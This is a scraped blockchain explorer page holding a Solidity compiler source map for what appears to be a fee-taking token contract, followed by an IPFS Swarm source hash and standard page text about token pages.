;20935:4;20961:17;;;:9;:17;;;;;;;;20960:18;20952:32;;;;-1:-1:-1;;;20952:32:0;;10882:2:1;20952:32:0;;;10864:21:1;10921:1;10901:18;;;10894:29;-1:-1:-1;;;10939:18:1;;;10932:32;10981:18;;20952:32:0;10680:325:1;20952:32:0;21015:53;;;;;;;;;;;-1:-1:-1;;;21015:53:0;;;;;;;;-1:-1:-1;;;;;21015:17:0;;-1:-1:-1;21015:17:0;;;:9;:17;;;;;;;;:53;;21037:6;;21015:21;:53::i;:::-;-1:-1:-1;;;;;20995:17:0;;;;;;;:9;:17;;;;;;:73;;;;21102:20;;;;;;;:32;;21127:6;21102:24;:32::i;:::-;-1:-1:-1;;;;;21079:20:0;;;;;;;:9;:20;;;;;;;:55;;;;21150:35;;;;;;-1:-1:-1;;;;;;;;;;;21150:35:0;;;21178:6;1596:25:1;;1584:2;1569:18;;1450:177;21150:35:0;;;;;;;;-1:-1:-1;21203:4:0;20842:373;;;;;:::o;2150:132::-;2208:7;2235:39;2239:1;2242;2235:39;;;;;;;;;;;;;;;;;:3;:39::i;21489:269::-;15465:16;:23;;-1:-1:-1;;;;15465:23:0;-1:-1:-1;;;15465:23:0;;;21561:25:::1;21578:7:::0;21561:16:::1;:25::i;:::-;21622:21;21657:18:::0;;21654:96:::1;;21711:22;::::0;21690:60:::1;::::0;21711:22:::1;::::0;::::1;-1:-1:-1::0;;;;;21711:22:0::1;21735:14:::0;21690:20:::1;:60::i;:::-;-1:-1:-1::0;;15511:16:0;:24;;-1:-1:-1;;;;15511:24:0;;;21489:269::o;22769:592::-;22934:11;;22855:7;;;;-1:-1:-1;;;;;22926:19:0;;;22934:11;;22926:19;22923:201;;22974:28;22998:3;22974:19;22985:7;;22974:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;22962:40;;22923:201;;;23043:11;;-1:-1:-1;;;;;23032:22:0;;;23043:11;;23032:22;23029:95;;23083:29;23108:3;23083:20;23094:8;;23083:6;:10;;:20;;;;:::i;:29::-;23071:41;;23029:95;23145:13;;23142:173;;23220:4;23202:24;;;;:9;:24;;;;;;:39;;23231:9;23202:28;:39::i;:::-;23193:4;23175:24;;;;:9;:24;;;;;;;:66;;;;23261:42;;-1:-1:-1;;;;;23261:42:0;;;-1:-1:-1;;;;;;;;;;;23261:42:0;;;23293:9;1596:25:1;;1584:2;1569:18;;1450:177;23261:42:0;;;;;;;;23142:173;23332:21;:6;23343:9;23332:10;:21::i;2290:278::-;2376:7;2411:12;2404:5;2396:28;;;;-1:-1:-1;;;2396:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2435:9:0;2447:5;2451:1;2447;:5;:::i;21768:575::-;21858:16;;;21872:1;21858:16;;;;;;;;21834:21;;21858:16;;;;;;;;;;-1:-1:-1;21858:16:0;21834:40;;21903:4;21885;21890:1;21885:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21885:23:0;;;:7;;;;;;;;;;:23;;;;21929:15;;:22;;;-1:-1:-1;;;21929:22:0;;;;:15;;;;;:20;;:22;;;;;21885:7;;21929:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21919:4;21924:1;21919:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21919:32:0;;;:7;;;;;;;;;:32;21996:15;;21964:62;;21981:4;;21996:15;22014:11;21964:8;:62::i;:::-;22037:15;;:240;;-1:-1:-1;;;22037:240:0;;-1:-1:-1;;;;;22037:15:0;;;;:66;;:240;;22118:11;;22037:15;;22188:4;;22215;;22251:15;;22037:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22300:35;22317:11;22330:4;22300:35;;;;;;;:::i;:::-;;;;;;;;21823:520;21768:575;:::o;18889:126::-;18981:26;;-1:-1:-1;;;;;18981:18:0;;;:26;;;;;19000:6;;18981:26;;;;19000:6;18981:18;:26;;;;;;;;;;;;;;;;;;;;;18889:126;;:::o;1892:250::-;1950:7;1974:1;1979;1974:6;1970:47;;-1:-1:-1;2004:1:0;1997:8;;1970:47;2029:9;2041:5;2045:1;2041;:5;:::i;:::-;2029:17;-1:-1:-1;2074:1:0;2065:5;2069:1;2029:17;2065:5;:::i;:::-;:10;2057:56;;;;-1:-1:-1;;;2057:56:0;;13385:2:1;2057:56:0;;;13367:21:1;13424:2;13404:18;;;13397:30;13463:34;13443:18;;;13436:62;-1:-1:-1;;;13514:18:1;;;13507:31;13555:19;;2057:56:0;13183:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2490:247::-;2549:6;2602:2;2590:9;2581:7;2577:23;2573:32;2570:52;;;2618:1;2615;2608:12;2570:52;2657:9;2644:23;2676:31;2701:5;2676:31;:::i;2742:180::-;2801:6;2854:2;2842:9;2833:7;2829:23;2825:32;2822:52;;;2870:1;2867;2860:12;2822:52;-1:-1:-1;2893:23:1;;2742:180;-1:-1:-1;2742:180:1:o;2927:348::-;2979:8;2989:6;3043:3;3036:4;3028:6;3024:17;3020:27;3010:55;;3061:1;3058;3051:12;3010:55;-1:-1:-1;3084:20:1;;3127:18;3116:30;;3113:50;;;3159:1;3156;3149:12;3113:50;3196:4;3188:6;3184:17;3172:29;;3248:3;3241:4;3232:6;3224;3220:19;3216:30;3213:39;3210:59;;;3265:1;3262;3255:12;3210:59;2927:348;;;;;:::o;3280:721::-;3372:6;3380;3388;3396;3449:2;3437:9;3428:7;3424:23;3420:32;3417:52;;;3465:1;3462;3455:12;3417:52;3505:9;3492:23;3534:18;3575:2;3567:6;3564:14;3561:34;;;3591:1;3588;3581:12;3561:34;3630:59;3681:7;3672:6;3661:9;3657:22;3630:59;:::i;:::-;3708:8;;-1:-1:-1;3604:85:1;-1:-1:-1;3796:2:1;3781:18;;3768:32;;-1:-1:-1;3812:16:1;;;3809:36;;;3841:1;3838;3831:12;3809:36;;3880:61;3933:7;3922:8;3911:9;3907:24;3880:61;:::i;:::-;3280:721;;;;-1:-1:-1;3960:8:1;-1:-1:-1;;;;3280:721:1:o;4230:388::-;4298:6;4306;4359:2;4347:9;4338:7;4334:23;4330:32;4327:52;;;4375:1;4372;4365:12;4327:52;4414:9;4401:23;4433:31;4458:5;4433:31;:::i;:::-;4483:5;-1:-1:-1;4540:2:1;4525:18;;4512:32;4553:33;4512:32;4553:33;:::i;:::-;4605:7;4595:17;;;4230:388;;;;;:::o;4623:416::-;4688:6;4696;4749:2;4737:9;4728:7;4724:23;4720:32;4717:52;;;4765:1;4762;4755:12;4717:52;4804:9;4791:23;4823:31;4848:5;4823:31;:::i;:::-;4873:5;-1:-1:-1;4930:2:1;4915:18;;4902:32;4972:15;;4965:23;4953:36;;4943:64;;5003:1;5000;4993:12;5044:380;5123:1;5119:12;;;;5166;;;5187:61;;5241:4;5233:6;5229:17;5219:27;;5187:61;5294:2;5286:6;5283:14;5263:18;5260:38;5257:161;;5340:10;5335:3;5331:20;5328:1;5321:31;5375:4;5372:1;5365:15;5403:4;5400:1;5393:15;5257:161;;5044:380;;;:::o;5429:356::-;5631:2;5613:21;;;5650:18;;;5643:30;5709:34;5704:2;5689:18;;5682:62;5776:2;5761:18;;5429:356::o;5790:127::-;5851:10;5846:3;5842:20;5839:1;5832:31;5882:4;5879:1;5872:15;5906:4;5903:1;5896:15;5922:125;5987:9;;;6008:10;;;6005:36;;;6021:18;;:::i;6052:127::-;6113:10;6108:3;6104:20;6101:1;6094:31;6144:4;6141:1;6134:15;6168:4;6165:1;6158:15;6310:545;6412:2;6407:3;6404:11;6401:448;;;6448:1;6473:5;6469:2;6462:17;6518:4;6514:2;6504:19;6588:2;6576:10;6572:19;6569:1;6565:27;6559:4;6555:38;6624:4;6612:10;6609:20;6606:47;;;-1:-1:-1;6647:4:1;6606:47;6702:2;6697:3;6693:12;6690:1;6686:20;6680:4;6676:31;6666:41;;6757:82;6775:2;6768:5;6765:13;6757:82;;;6820:17;;;6801:1;6790:13;6757:82;;;6761:3;;;6310:545;;;:::o;7031:1206::-;7155:18;7150:3;7147:27;7144:53;;;7177:18;;:::i;:::-;7206:94;7296:3;7256:38;7288:4;7282:11;7256:38;:::i;:::-;7250:4;7206:94;:::i;:::-;7326:1;7351:2;7346:3;7343:11;7368:1;7363:616;;;;8023:1;8040:3;8037:93;;;-1:-1:-1;8096:19:1;;;8083:33;8037:93;-1:-1:-1;;6988:1:1;6984:11;;;6980:24;6976:29;6966:40;7012:1;7008:11;;;6963:57;8143:78;;7336:895;;7363:616;6257:1;6250:14;;;6294:4;6281:18;;-1:-1:-1;;7399:17:1;;;7500:9;7522:229;7536:7;7533:1;7530:14;7522:229;;;7625:19;;;7612:33;7597:49;;7732:4;7717:20;;;;7685:1;7673:14;;;;7552:12;7522:229;;;7526:3;7779;7770:7;7767:16;7764:159;;;7903:1;7899:6;7893:3;7887;7884:1;7880:11;7876:21;7872:34;7868:39;7855:9;7850:3;7846:19;7833:33;7829:79;7821:6;7814:95;7764:159;;;7966:1;7960:3;7957:1;7953:11;7949:19;7943:4;7936:33;7336:895;;7031:1206;;;:::o;10191:128::-;10258:9;;;10279:11;;;10276:37;;;10293:18;;:::i;11010:217::-;11050:1;11076;11066:132;;11120:10;11115:3;11111:20;11108:1;11101:31;11155:4;11152:1;11145:15;11183:4;11180:1;11173:15;11066:132;-1:-1:-1;11212:9:1;;11010:217::o;11232:127::-;11293:10;11288:3;11284:20;11281:1;11274:31;11324:4;11321:1;11314:15;11348:4;11345:1;11338:15;11364:251;11434:6;11487:2;11475:9;11466:7;11462:23;11458:32;11455:52;;;11503:1;11500;11493:12;11455:52;11535:9;11529:16;11554:31;11579:5;11554:31;:::i;11620:461::-;11673:3;11711:5;11705:12;11738:6;11733:3;11726:19;11764:4;11793:2;11788:3;11784:12;11777:19;;11830:2;11823:5;11819:14;11851:1;11861:195;11875:6;11872:1;11869:13;11861:195;;;11940:13;;-1:-1:-1;;;;;11936:39:1;11924:52;;11996:12;;;;12031:15;;;;11972:1;11890:9;11861:195;;;-1:-1:-1;12072:3:1;;11620:461;-1:-1:-1;;;;;11620:461:1:o;12086:582::-;12385:6;12374:9;12367:25;12428:6;12423:2;12412:9;12408:18;12401:34;12471:3;12466:2;12455:9;12451:18;12444:31;12348:4;12492:57;12544:3;12533:9;12529:19;12521:6;12492:57;:::i;:::-;-1:-1:-1;;;;;12585:32:1;;;;12580:2;12565:18;;12558:60;-1:-1:-1;12649:3:1;12634:19;12627:35;12484:65;12086:582;-1:-1:-1;;;12086:582:1:o;12673:332::-;12880:6;12869:9;12862:25;12923:2;12918;12907:9;12903:18;12896:30;12843:4;12943:56;12995:2;12984:9;12980:18;12972:6;12943:56;:::i;:::-;12935:64;12673:332;-1:-1:-1;;;;12673:332:1:o;13010:168::-;13083:9;;;13114;;13131:15;;;13125:22;;13111:37;13101:71;;13152:18;;:::i

Swarm Source

ipfs://41ee32b7b5ba64b8e93c4b5cd8024926a528c010055e29003b143c068dca2b58
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.